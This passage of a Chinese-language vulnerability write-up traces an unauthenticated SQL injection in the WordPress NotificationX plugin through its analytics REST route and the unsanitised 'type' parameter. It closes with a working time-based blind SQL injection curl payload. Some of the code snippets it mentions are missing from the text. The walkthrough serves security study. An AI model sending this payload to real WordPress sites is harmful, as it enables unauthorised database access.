代码参考 2: https://plugins.trac.wordpress.org/changeset/3040809/notificationx/trunk/includes/Core/Database.php

因此,以下文件与此 CVE 相关:
wp-content/plugins/notificationx/includes/Core/Rest/Analytics.php
现在,我们将检查可能存在漏洞代码的文件:
重点关注 insert_analytics() 函数:
它接收来自用户的 $request,并提取 type 参数。
随后,该值被传递给 CoreAnalytics::get_instance()->insert_analytics() 函数:

要触发此代码,我们可以注意到映射的路由(来自 Analytics 类的 register_routes() 函数内):
$this->namespace . '/' . $this->rest_base
并且 Analytics 类的构造函数揭示了 namespace 和 rest_base 变量的值:
public function __construct() {
$this->namespace = 'notificationx/v1';
$this->rest_base = 'analytics';
add_action('rest_api_init', [$this, 'register_routes']);
}
因此,接受用户提供的 type 参数的相关(易受攻击的)代码可以通过以下路由访问:
notificationx/v1/analytics
但利用方法是什么?可注入的 SQL 查询又在哪里?
由于用户提供的 type 参数被传递给:
CoreAnalytics::get_instance()->insert_analytics( absint( $params['nx_id'] ), $type );
定位该函数:
让我们检查高亮文件中的该函数代码:
wp-content/plugins/notificationx/includes/Core/Analytics.php:

如果你认为漏洞出在 increment_count() 函数中,那么你完全找对了方向!
以下是 increment_count 函数(它使用了来自用户的 $type 参数):

该函数进而调用 update_analytics() 函数。让我们来看一下它:


update_analytics 函数动态创建了一条 SQL 查询,而未经过滤的用户输入正是其中的一部分。是不是感觉有问题?应该的,因为这就是导致漏洞的原因。
$col 参数对应用户在 HTTP 请求中发送的 type 参数。
$table_name 被设置为:nx_stats:
public function __construct() {
global $wpdb;
$this->wpdb = $wpdb;
self::$table_entries = $wpdb->prefix . 'nx_entries';
self::$table_posts = $wpdb->prefix . 'nx_posts';
self::$table_stats = $wpdb->prefix . 'nx_stats';
}
为了确定正确的 HTTP 方法,我利用了 WordPress REST API:
http://localhost/wp-json/

/notificationx/v1/analytics API 路由可以通过 POST 请求触发,我们必须传递 nx_id(整数)以及(可选)type(字符串)。
请记住,分析信息是在名为 nx_stats 的表中更新的,这是我们之前从 wp-content/plugins/notificationx/includes/Core/Database.php 中的代码片段推断出的:
public function __construct() {
global $wpdb;
$this->wpdb = $wpdb;
self::$table_entries = $wpdb->prefix . 'nx_entries';
self::$table_posts = $wpdb->prefix . 'nx_posts';
self::$table_stats = $wpdb->prefix . 'nx_stats';
}
$table_name = self::$table_stats;

我们的计划是查看在请求中传递 payload 时所构造出的 SQL 查询。
现在,我们将再次发送带有 SQLi payload 的 curl 请求:
time curl http://localhost:8080/wp-json/notificationx/v1/analytics -d 'nx_id=1337&type=clicks`=IF(SUBSTRING(version(),1,1)=5,SLEEP(10),null)-- -'
